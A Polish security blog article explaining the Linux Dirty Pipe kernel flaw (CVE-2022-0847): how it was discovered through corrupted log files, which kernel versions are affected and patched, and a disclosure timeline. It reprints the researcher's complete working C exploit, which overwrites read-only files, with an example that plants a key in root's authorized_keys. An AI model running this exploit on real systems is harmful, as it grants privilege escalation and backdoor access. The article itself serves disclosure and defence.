Linux Dirty Pipe - Security Bez Tabu

Linux Dirty Pipe

Poważna luka w Linuksach

Ujawniono kolejną lukę umożliwiającą lokalną eskalację uprawnień w jądrze Linuksa. Max Kellermann programista i badacz bezpieczeństwa dla niemieckich twórców oprogramowania do zarządzania treścią CM4all, opublikował fascynujący raport o błędzie jądra Linuksa, który został niedawno załatany.

Organizacja MITRE oznaczyła to jako CVE-2022-0847. Podobnie jak w przypadku exploita „Dirty COW” (CVE-2016-5195), ta luka nadużywa sposobu, w jaki jądro zarządza stronami w potokach i wpływa na najnowsze wersje systemu Linux. Podatność jest nieoficjalnie oceniana na krytycznie poważny wynik 8,8, co jest niezwykle wysokim wynikiem jak na podatność lokalną.

Nazwano lukę Dirty Pipe, ponieważ wiąże się z niebezpieczną interakcją między prawdziwym plikiem Linuksa (zapisanym na stałe na dysku) a pipe Linuksa, która jest buforem danych tylko w pamięci, którego można używać jak pliku. Jeśli plik jest oznaczony jako „tylko do odczytu” przez sam system operacyjny, modyfikacja jego podstawowej pamięci podręcznej jądra jest traktowana jako „zapis”. W rezultacie zmodyfikowany bufor pamięci podręcznej jest opróżniany z powrotem na dysk przez jądro, trwale aktualizując zawartość przechowywanego pliku, pomimo nałożonych na niego uprawnień systemu operacyjnego. Nawet fizycznie niezapisywalny plik, taki jak plik na płycie CD-ROM lub karcie SD z wyłączonym przełącznikiem zapisu, będzie wyglądał na zmodyfikowany tak długo, jak uszkodzone bufory pamięci podręcznej są przechowywane w pamięci przez jądro.

Których wersji dotyczy problem?

Dla tych, którzy używają Linuksa, którzy chcą przejść do sedna i sprawdzić, czy są załatane, Kellermann informuje, że ten błąd został wprowadzony (przynajmniej w obecnej, łatwej do wykorzystania formie) w jądrze 5.8. Oznacza to, że trzy oficjalnie obsługiwane wersje jądra są zdecydowanie zagrożone: 5.10, 5.15 i 5.16. Błąd został załatany w wersjach 5.10.102, 5.15.25 i 5.16.11, więc jeśli masz wersję, która jest taka sama lub wyższa, wszystko jest w porządku. Dotyczy to również Androida i chociaż poprawka luki została włączona do kodu źródłowego jądra 24.02.2022, ani Biuletyn Bezpieczeństwa Androida Google z marca 2022 r., ani notatki firmy dotyczące Pixela nie wspominały o tym błędzie. Ze wszystkich licznych oficjalnie obsługiwanych telefonów z Androidem i wiadomo, że używają jądra 5.10, to Google Pixel 6 i seria Samsung S22 (raporty sugerują, że oba te urządzenia są nadal w wersji 5.10.43 [2022). 03-09T12:00Z]). Wydaje się, że większość urządzeń nadal używa jednej ze starszych, ale najwyraźniej nie zagrożonych wersji Linuksa 5.4 lub 4.x.

A wszystko zaczęło się od…

…przyjaznych dla użytkownika plików dziennika.

Kellermann odkrył lukę z powodu sporadycznych uszkodzeń plików dziennika HTTP w sieci swojej firmy. Miał proces serwera, który regularnie pobierał codzienne pliki dziennika, kompresował je za pomocą przyjaznego dla Uniksa narzędzia gzip i konwertował je na miesięczne pliki dziennika w formacie ZIP przyjaznym dla systemu Windows, aby klienci mogli go pobrać. Pliki ZIP obsługują i zazwyczaj używają kompresji gzip wewnętrznie, dzięki czemu surowe pliki gzip mogą być faktycznie używane jako pojedyncze komponenty w archiwum ZIP, o ile dane sterujące w stylu ZIP są dodawane na początku i na końcu pliku, oraz pomiędzy każdym wewnętrznym fragmentem skompresowanym gzipem.

Tak więc, aby zaoszczędzić zarówno czas, jak i moc procesora, Kellermann był w stanie uniknąć tymczasowej dekompresji każdego dziennego pliku dziennika dla każdego klienta, tylko po to, aby natychmiast go ponownie skompresować do kompleksowego pliku ZIP. W końcu stworzył zapisywalny potok Linuksa, do którego mógł wyeksportować archiwum ZIP typu „wszystko w jednym”, a następnie odczytywał kolejno każdy plik gzip, wysyłając je jeden po drugim do potoku wyjściowego, z niezbędnymi nagłówki i przyczepy wstawione we właściwych miejscach. Aby uzyskać dodatkową wydajność, użył specjalnej funkcji splice() Linuksa, która mówi jądru, aby odczytało dane z pliku i zapisało je w potoku bezpośrednio z pamięci jądra, co pozwala uniknąć narzutu tradycyjnego read()-and-then-loop write().

Uszkodzone bajty

Od czasu do czasu Kellermann odkrywał, że ostatnie 8 bajtów jednego z oryginalnych plików gzip zostało uszkodzonych, mimo że czytał tylko z tych plików. Całe jego wyjście trafiało do zapisywalnego „rury wyjściowej” używanej do tworzenia połączonego pliku ZIP. W jego kodzie nie było nic, co by nawet próbowało pisać do któregokolwiek z plików wejściowych, które zostały otwarte „tylko do odczytu” i dlatego  tak powinny być chronione przez system operacyjny. Jedną z charakterystycznych cech, które zauważył, było to, że uszkodzone 8 bajtów prawie zawsze pojawiało się w ostatnim pliku gzip dowolnego miesiąca i zawsze było to

50 4B 01 02 1E 03 14 00

w postaci szesnastkowej. Badacze zagrożeń od razu rozpoznają 50 4B 01 02, ponieważ 50 4B pojawia się jako PK w znakach ASCII, co jest skrótem od Phila Katza, twórcy formatu ZIP.

Również często spotykane w analizie złośliwego oprogramowania obejmującej pliki ZIP są te bajty 01 02 bezpośrednio po PK – jest to specjalny znacznik, który oznacza „poniżej znajduje się blok danych w zwiastunie ZIP na końcu archiwum”.  

Innymi słowy, Kellerman był w stanie wywnioskować, że wyciek danych na sam koniec sporadycznych plików gzip „tylko do odczytu” był zawsze początkiem dodatkowych danych, które dodawał na końcu swojego zapisywalnego, kompleksowego ZIP-a plik. Bez względu na to, jak uważnie przyglądał się własnemu kodowi, nie widział, jak mógłby popełnić to zepsucie własnym błędem, nawet gdyby chciał. W końcu efektem ubocznym błędu było to, że jego oprogramowanie uszkodziło 8 bajtów na końcu pliku, do którego i tak samo jądro miało uniemożliwić mu pisanie. Dzięki wytrwałości był w stanie stworzyć dwa minimalistyczne programy, z odpowiednio tylko trzema i pięcioma wierszami kodu, które odtwarzały niewłaściwe zachowanie w sposób, który można było obwiniać tylko o jądro. Następnie był w stanie skonstruować atak sprawdzający słuszność koncepcji, który pozwala nie uprzywilejowanemu użytkownikowi modyfikować nawet dobrze zablokowany plik, taki jak lista zaufanych kluczy SSH lub lista „znanych dobrych” podpisów cyfrowych. Wydaje się, że ten błąd, biorąc pod uwagę jego niskopoziomowy charakter, może być wykorzystany w zwirtualizowanym kontenerze (gdzie żaden uruchomiony program nie powinien mieć dostępu do zapisu do żadnych obiektów poza „sandboxem”) w celu modyfikacji plików, które zwykle byłyby niedostępne. Dobrą wiadomością jest oczywiście to, że staranne opracowywanie tematu przez Kellermansa doprowadziło nie tylko do odkrycia błędu i zrozumienia jego przyczyny, ale także do pomocy społeczności w opracowaniu łatki, która zamyka lukę.

Exploit luki

Podczas opracowywania  pierwszego exploita (programy „writer” / „splicer”), założono że błąd można wykorzystać tylko wtedy, gdy uprzywilejowany proces zapisuje plik i że zależy to od czasu.  

Po odkryciu,na czym polega prawdziwy problem, udało się poszerzyć dziurę o duży margines: możliwe jest nadpisanie pamięci podręcznej strony bez ograniczeń czasowych, w (prawie) dowolnych pozycjach z dowolnymi danymi . Ograniczenia to:  

  • atakujący musi mieć uprawnienia do odczytu (ponieważ musi wpleść splice() w potok) 
  • przesunięcie nie może znajdować się na granicy strony (ponieważ co najmniej jeden bajt tej strony musi być wpleciony w potok)  
  • zapis nie może przekroczyć granicy strony (ponieważ zostanie utworzony nowy anonimowy bufor dla reszty) 
  •  nie można zmienić rozmiaru pliku (ponieważ potok ma własne zarządzanie wypełnianiem strony i nie informuje pamięci podręcznej strony, ile danych zostało dodanych)  

Aby wykorzystać tę lukę:  

  • Utwórz potok.  
  • Wypełnij potok dowolnymi danymi (aby ustawić flagę PIPE_BUF_FLAG_CAN_MERGE we wszystkich wpisach pierścienia).  
  • Opróżnij potok (pozostawiając flagę ustawioną we wszystkich instancjach struct pipe_buffer w pierścieniu struct pipe_inode_info).  
  • Połącz dane z pliku docelowego (otwieranego za pomocą O_RDONLY) do potoku znajdującego się tuż przed offsetem docelowym.  
  • Wpisz dowolne dane do potoku; te dane nadpiszą stronę z buforowanym plikiem zamiast tworzyć nową, anonimową strukturę pipe_buffer, ponieważ ustawiono PIPE_BUF_FLAG_CAN_MERGE.  

Aby uczynić tę lukę bardziej interesującą, działa ona nie tylko bez uprawnień do zapisu, ale działa również z niezmiennymi plikami, z migawkami btrfs tylko do odczytu oraz z mounti tylko do odczytu (w tym CD-ROM). Dzieje się tak, ponieważ pamięć podręczna stron jest zawsze zapisywana (przez jądro), a pisanie do potoku nigdy nie sprawdza żadnych uprawnień.  

Exploit typu „proof-of-concept” wykonany przez Max Kellermann: 

/* SPDX-License-Identifier: GPL-2.0 */ 

/* 

 * Copyright 2022 CM4all GmbH / IONOS SE 

 * 

 * author: Max Kellermann <max.kellermann@ionos.com> 

 * 

 * Proof-of-concept exploit for the Dirty Pipe 

 * vulnerability (CVE-2022-0847) caused by an uninitialized 

 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any 

 * file contents in the page cache, even if the file is not permitted 

 * to be written, immutable or on a read-only mount. 

 * 

 * This exploit requires Linux 5.8 or later; the code path was made 

 * reachable by commit f6dd975583bd ("pipe: merge 

 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was 

 * there before, it just provided an easy way to exploit it. 

 * 

 * There are two major limitations of this exploit: the offset cannot 

 * be on a page boundary (it needs to write one byte before the offset 

 * to add a reference to this page to the pipe), and the write cannot 

 * cross a page boundary. 

 * 

 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n' 

 * 

 * Further explanation: https://dirtypipe.cm4all.com/ 

 */ 

 

#define _GNU_SOURCE 

#include <unistd.h> 

#include <fcntl.h> 

#include <stdio.h> 

#include <stdlib.h> 

#include <string.h> 

#include <sys/stat.h> 

#include <sys/user.h> 

 

#ifndef PAGE_SIZE 

#define PAGE_SIZE 4096 

#endif 

 

/** 

 * Create a pipe where all "bufs" on the pipe_inode_info ring have the 

 * PIPE_BUF_FLAG_CAN_MERGE flag set. 

 */ 

static void prepare_pipe(int p[2]) 

{ 

if (pipe(p)) abort(); 

 

const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); 

static char buffer[4096]; 

 

/* fill the pipe completely; each pipe_buffer will now have 

   the PIPE_BUF_FLAG_CAN_MERGE flag */ 

for (unsigned r = pipe_size; r > 0;) { 

unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; 

write(p[1], buffer, n); 

r -= n; 

} 

 

/* drain the pipe, freeing all pipe_buffer instances (but 

   leaving the flags initialized) */ 

for (unsigned r = pipe_size; r > 0;) { 

unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; 

read(p[0], buffer, n); 

r -= n; 

} 

 

/* the pipe is now empty, and if somebody adds a new 

   pipe_buffer without initializing its "flags", the buffer 

   will be mergeable */ 

} 

 

int main(int argc, char **argv) 

{ 

if (argc != 4) { 

fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]); 

return EXIT_FAILURE; 

} 

 

/* dumb command-line argument parser */ 

const char *const path = argv[1]; 

loff_t offset = strtoul(argv[2], NULL, 0); 

const char *const data = argv[3]; 

const size_t data_size = strlen(data); 

 

if (offset % PAGE_SIZE == 0) { 

fprintf(stderr, "Sorry, cannot start writing at a page boundary\n"); 

return EXIT_FAILURE; 

} 

 

const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1; 

const loff_t end_offset = offset + (loff_t)data_size; 

if (end_offset > next_page) { 

fprintf(stderr, "Sorry, cannot write across a page boundary\n"); 

return EXIT_FAILURE; 

} 

 

/* open the input file and validate the specified offset */ 

const int fd = open(path, O_RDONLY); // yes, read-only! :-) 

if (fd < 0) { 

perror("open failed"); 

return EXIT_FAILURE; 

} 

 

struct stat st; 

if (fstat(fd, &st)) { 

perror("stat failed"); 

return EXIT_FAILURE; 

} 

 

if (offset > st.st_size) { 

fprintf(stderr, "Offset is not inside the file\n"); 

return EXIT_FAILURE; 

} 

 

if (end_offset > st.st_size) { 

fprintf(stderr, "Sorry, cannot enlarge the file\n"); 

return EXIT_FAILURE; 

} 

 

/* create the pipe with all flags initialized with 

   PIPE_BUF_FLAG_CAN_MERGE */ 

int p[2]; 

prepare_pipe(p); 

 

/* splice one byte from before the specified offset into the 

   pipe; this will add a reference to the page cache, but 

   since copy_page_to_iter_pipe() does not initialize the 

   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */ 

--offset; 

ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); 

if (nbytes < 0) { 

perror("splice failed"); 

return EXIT_FAILURE; 

} 

if (nbytes == 0) { 

fprintf(stderr, "short splice\n"); 

return EXIT_FAILURE; 

} 

 

/* the following write will not create a new pipe_buffer, but 

   will instead write into the page cache, because of the 

   PIPE_BUF_FLAG_CAN_MERGE flag */ 

nbytes = write(p[1], data, data_size); 

if (nbytes < 0) { 

perror("write failed"); 

return EXIT_FAILURE; 

} 

if ((size_t)nbytes < data_size) { 

fprintf(stderr, "short write\n"); 

return EXIT_FAILURE; 

} 

 

printf("It worked!\n"); 

return EXIT_SUCCESS; 

} 

Co robić od strony użytkownika? 

  1. Jeśli jesteś użytkownikiem Linux 5.x. Sprawdź wersję jądra. Chcesz 5.10.102, 5.15.25 lub 5.16.11 (lub nowsze). Jeśli twoja dystrybucja używa starszych wersji jądra z własnymi „przeniesionymi poprawkami bezpieczeństwa”, skontaktuj się z producentem dystrybucji, aby uzyskać szczegółowe informacje. W przeciwnym razie po prostu uruchom polecenie uname -r, aby wydrukować wydanie jądra.  
  2. Jeśli jesteś użytkownikiem Androida to biorąc pod uwagę różnorodność wersji jądra używanych przez różne produkty i dostawców to jak dotąd jedynymi znanymi urządzeniami głównego nurtu, które mają jądro 5.10, są serie Google Pixel 6 i Samsung S22, najwyraźniej w wersji 5.10.43. Google nie wspomniał o naprawie tego błędu w swoim marcowym biuletynie aktualizacji pikseli. 

Podsumowanie w osi czasu

2021-04-29: pierwsze zgłoszenie pomocy technicznej dotyczące uszkodzenia pliku

2022-02-19: problem z uszkodzeniem pliku zidentyfikowany jako błąd jądra Linuksa, który okazał się możliwą do wykorzystania luką  

2022-02-20: raport o błędzie, exploit i łatka wysłane do zespołu ds. bezpieczeństwa jądra Linuksa  

2022-02-21: błąd odtworzony w Google Pixel 6; raport o błędzie wysłany do zespołu ds. bezpieczeństwa systemu Android  

2022-02-21: łatka wysłana do LKML (bez szczegółów luki) zgodnie z sugestią Linusa Torvaldsa, Willy’ego Tarreau i Al Viro  

2022-02-23: Stabilne wydania Linuksa z poprawką (5.16.11, 5.15.25, 5.10.102)

2022-02-24: Google łączy poprawkę z jądrem Androida  

2022-02-28: powiadomienie na listę dyskusyjną linux-distros  

2022-03-07: publiczne ujawnienie -> CVE-2022-0847